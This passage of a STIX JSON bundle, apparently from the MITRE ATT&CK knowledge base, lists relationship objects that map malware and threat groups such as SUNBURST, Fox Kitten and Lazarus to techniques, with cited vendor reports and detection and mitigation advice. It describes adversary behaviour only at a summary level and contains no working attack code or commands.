            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecbe0204-b205-47d5-ba6a-ef5c29737eda",
            "created": "2023-02-08T00:13:32.987Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "SentinelLabs Metador Technical Appendix Sept 2022",
                    "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.",
                    "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:55:46.115Z",
            "description": "[metaMain](https://attack.mitre.org/software/S1059) can change the `CreationTime`, `LastAccessTime`, and `LastWriteTime` file time attributes when executed with `SYSTEM` privileges.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--df350889-4de9-44e5-8cb3-888b8343e97c",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecbe6cc7-16cc-474f-91fe-bd3e9014abbf",
            "created": "2021-07-02T14:27:03.199Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Bitdefender Naikon April 2021",
                    "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:06.385Z",
            "description": "[RainyDay](https://attack.mitre.org/software/S0629) can use a file exfiltration tool to collect recently changed files on a compromised host.(Citation: Bitdefender Naikon April 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecc31d1c-b5ac-4458-b379-a5c003637ee2",
            "created": "2021-01-06T15:56:49.646Z",
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            "external_references": [
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:06.577Z",
            "description": "[SUNBURST](https://attack.mitre.org/software/S0559) communicated via HTTP GET or HTTP POST requests to third party servers for C2.(Citation: FireEye SUNBURST Backdoor December 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecc6def4-fd02-484e-8ad5-3fe93ac7c716",
            "created": "2024-09-25T18:43:08.472Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Trend Micro Ransomware Spotlight Play July 2023",
                    "description": "Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:55:46.726Z",
            "description": "(Citation: Trend Micro Ransomware Spotlight Play July 2023)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecc76c8c-7c95-491d-9d94-1a704fc4995c",
            "created": "2022-03-30T14:26:51.839Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:06.822Z",
            "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may leverage Confluence repositories to mine valuable information. Watch for access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
            "target_ref": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecc9a971-349b-428d-a376-74f11b5b7086",
            "created": "2020-12-29T15:10:17.055Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:07.003Z",
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used PowerShell scripts to access credential data.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecca0af0-1549-4068-b01d-bab711c491c5",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:07.172Z",
            "description": "[Reaver](https://attack.mitre.org/software/S0172) installs itself as a new service.(Citation: Palo Alto Reaver Nov 2017)",
            "relationship_type": "uses",
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecca736a-9b3f-4a1d-bdb8-ff5c55197893",
            "created": "2020-08-24T14:27:37.493Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "ESET PipeMon May 2020",
                    "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.",
                    "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:07.332Z",
            "description": "[PipeMon](https://attack.mitre.org/software/S0501) can switch to an alternate C2 domain when a particular date has been reached.(Citation: ESET PipeMon May 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--8393dac0-0583-456a-9372-fd81691bca20",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--eccad76f-c5fa-46db-9ccb-5a9ebcada28e",
            "created": "2019-11-27T14:58:00.681Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "TechNet Server Operator Scheduled Task",
                    "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.",
                    "url": "https://technet.microsoft.com/library/jj852168.aspx"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:07.490Z",
            "description": "Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecce47d4-c937-4feb-8ebf-4e2eb496725d",
            "created": "2022-06-06T15:50:33.497Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "ClearSky Siamesekitten August 2021",
                    "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022.",
                    "url": "https://www.clearskysec.com/siamesekitten/"
                },
                {
                    "source_name": "SecureWorks August 2019",
                    "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 ",
                    "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:55:47.785Z",
            "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has identified executives, HR, and IT staff at victim organizations for further targeting.(Citation: SecureWorks August 2019)(Citation: ClearSky Siamesekitten August 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3",
            "target_ref": "attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecd6c482-51ae-402c-8482-4feb9cda9b05",
            "created": "2021-07-16T19:42:59.611Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Group IB GrimAgent July 2021",
                    "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.",
                    "url": "https://www.group-ib.com/blog/grimagent/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:55:47.986Z",
            "description": "[GrimAgent](https://attack.mitre.org/software/S0632) has used Rotate on Right (RoR) and Rotate on Left (RoL) functionality to encrypt strings.(Citation: Group IB GrimAgent July 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecd83e69-2eb1-4c2d-a01f-e42ea8f807f9",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Github UACMe",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                    "url": "https://github.com/hfiref0x/UACME"
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                    "source_name": "PowerSploit Documentation",
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                    "source_name": "ThreatConnect Kimsuky September 2020",
                    "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.",
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                    "source_name": "Unit 42 Tropic Trooper Nov 2016",
                    "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.",
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                    "source_name": "CitizenLab Tropic Trooper Aug 2018",
                    "description": "Alexander, G., et al. (2018, August 8). Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces. Retrieved June 17, 2019.",
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                    "source_name": "CyberBit Dtrack",
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                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020.",
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            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can infect victims by brute forcing SMB.(Citation: Unit 42 Lucifer June 2020)",
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                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
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                {
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                {
                    "source_name": "Proofpoint TA505 October 2019",
                    "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader"
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            "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to XOR the strings for its installer component with a hardcoded 128 byte key.(Citation: Proofpoint TA505 October 2019)",
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                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.",
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            "description": "[Koadic](https://attack.mitre.org/software/S0250) can scan local network for open SMB.(Citation: Github Koadic)",
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                },
                {
                    "source_name": "Configuring Data Access audit logs",
                    "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.",
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                    "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.",
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                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.",
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                    "source_name": "FireEye Metamorfo Apr 2018",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html"
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            "description": "Upon execution, [Metamorfo](https://attack.mitre.org/software/S0455) has unzipped itself after being downloaded to the system and has performed string decryption.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ",
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                    "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.",
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            "description": "[Anchor](https://attack.mitre.org/software/S0504) has come with a packed payload.(Citation: Cyberreason Anchor December 2019)",
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                    "description": "Paganini, P. (2019, July 7). Croatia government agencies targeted with news SilentTrinity malware. Retrieved March 23, 2022.",
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            "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can determine if an anti-virus product is installed through the resolution of the service's virtual SID.(Citation: Security Affairs SILENTTRINITY July 2019)",
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                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/"
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            "description": "[Pony](https://attack.mitre.org/software/S0453) has used scripts to delete itself after execution.(Citation: Malwarebytes Pony April 2016)\t",
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                    "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.",
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            "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to steal data from the clipboard of an infected host.(Citation: Kaspersky TajMahal April 2019)\n",
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                    "description": "Tyler McGraw, Thomas Elkins, and Evan McCann. (2024, May 10). Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators. Retrieved January 31, 2025.",
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                    "source_name": "Secureworks GandCrab and REvil September 2019",
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                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020.",
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                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
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                    "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.",
                    "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion"
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            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has registered malicious domains for use in intrusion campaigns.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)",
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                    "description": "Patrick Schl\u00e4pfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.",
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            "description": "[APT19](https://attack.mitre.org/groups/G0073) launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.(Citation: Unit 42 C0d0so0 Jan 2016)",
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                    "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.",
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            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to use a port scanner on a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
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            "description": "Do not allow administrator accounts that have permissions to add component software on these services to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
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                    "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.",
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            "description": "[APT41](https://attack.mitre.org/groups/G0096) used a keylogger called GEARSHIFT on a target system.(Citation: FireEye APT41 Aug 2019)",
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                {
                    "source_name": "group-ib_redcurl2",
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            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can collect credentials from WINSCP.(Citation: Cybereason Kimsuky November 2020)",
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                    "source_name": "Mandiant APT42-untangling",
                    "description": "Rozmann, O., et al. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved October 9, 2024.",
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                    "url": "https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"
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                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.",
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                    "description": "Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"
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                    "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"
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            "description": "For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) compromised servers to host their malicious tools.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020)",
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                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
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                    "source_name": "ESET ForSSHe December 2018",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020.",
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            "description": "[Bonadan](https://attack.mitre.org/software/S0486) can use the <code>ps</code> command to discover other cryptocurrency miners active on the system.(Citation: ESET ForSSHe December 2018)",
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                    "description": "Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.",
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            "description": "[Moonstone Sleet](https://attack.mitre.org/groups/G1036) developed malicious npm packages for delivery to or retrieval by victims.(Citation: Microsoft Moonstone Sleet 2024)",
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                    "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions"
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                    "source_name": "FBI FLASH APT39 September 2020",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.",
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                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
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                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
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                    "source_name": "FireEye MESSAGETAP October 2019",
                    "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020.",
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                    "source_name": "ESET RTM Feb 2017",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf"
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            "description": "[RTM](https://attack.mitre.org/software/S0148) can scan victim drives to look for specific banking software on the machine to determine next actions.(Citation: ESET RTM Feb 2017)",
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                    "source_name": "FireEye Hancitor",
                    "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html"
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            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has used a macro to check that an ActiveDocument shape object in the lure message is present. If this object is not found, the macro will exit without downloading additional payloads.(Citation: FireEye Hancitor)",
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                    "description": "Alfano, V. et al. (2025, February 12). RansomHub Never Sleeps Episode 1: The evolution of modern ransomware. Retrieved March 17, 2025.",
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            "description": "[RansomHub](https://attack.mitre.org/software/S1212) can retrieve information about virtual machines.(Citation: Group-IB RansomHub FEB 2025)",
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            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--f6242361-3056-49da-8e2a-82e1e893b039",
            "created": "2022-03-30T14:26:51.856Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "modified": "2025-04-28T16:17:40.489Z",
            "description": "Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the deletion of multiple snapshots within a short period of time. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--16e07530-764b-4d83-bae0-cdbfc31bf21d",
            "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--f6247612-3255-44eb-860f-e882ee1f36f6",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T16:17:40.667Z",
            "description": "[VERMIN](https://attack.mitre.org/software/S0257) can get a list of the processes and running tasks on the system.(Citation: Unit 42 VERMIN Jan 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--f624a474-a667-4305-bf2a-dabecaa97580",
            "created": "2022-03-30T14:26:51.863Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
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            ],
            "modified": "2025-04-28T16:17:40.843Z",
            "description": "Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
            "target_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--f62b29cb-b483-41b3-9724-ab7a376dd2c6",
            "created": "2022-09-20T15:05:56.867Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Talos Frankenstein June 2019",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"
                }
            ],
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            "modified": "2025-04-16T22:58:13.879Z",
